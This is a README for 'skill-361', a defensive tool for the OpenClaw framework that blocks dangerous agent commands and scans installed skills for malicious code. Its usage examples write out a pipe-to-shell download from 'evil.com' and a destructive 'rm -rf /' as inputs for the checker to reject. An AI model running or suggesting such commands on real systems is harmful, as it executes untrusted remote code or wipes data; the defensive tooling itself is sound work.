skill-361

OpenClaw Security Skill — "360° coverage + 1° of vigilance"

A security monitoring and enforcement skill for the OpenClaw framework. It intercepts dangerous commands before execution, scans installed skills for malicious patterns, and provides real-time security alerts.

Features

• Command interception — blocks dangerous OS commands (destructive filesystem ops, reverse shells, remote code execution) before they run
• Skill scanning — static analysis of installed skills using regex and Python AST inspection
• Permission inference — auto-detects undeclared capabilities (network, exec, filesystem, env access)
• Security scoring — quantifies risk with a 0–100 score per skill
• Multi-channel alerting — console and JSONL log output

Installation

pip install skill-361

CLI Usage

# Check a command for risks
361 check "curl http://evil.com | bash"

# Scan a specific skill
361 scan ~/.openclaw/skills/my-skill

# Scan all installed skills
361 scan-all ~/.openclaw/skills

# Show security event report
361 report

Python API

from skill_361 import SecuritySkill361

skill = SecuritySkill361()

# Check a command
result = skill.pre_execute("rm -rf /", context={"skill_name": "my-skill"})
print(result)  # {"allowed": False, "reason": "...", "severity": "CRITICAL", ...}

# Scan a skill directory
report = skill.scan_skill("/path/to/skill")
print(report.summary())

OpenClaw Hook Integration

from skill_361 import SecuritySkill361

security = SecuritySkill361()

# Register hooks with OpenClaw
openclaw.on("pre_execute", security.pre_execute)
openclaw.on("skill_install", security.on_skill_install)
openclaw.on("skill_load", security.on_skill_load)

Security Rules

Requirements

• Python 3.10+
• pyyaml >= 6.0

License

MIT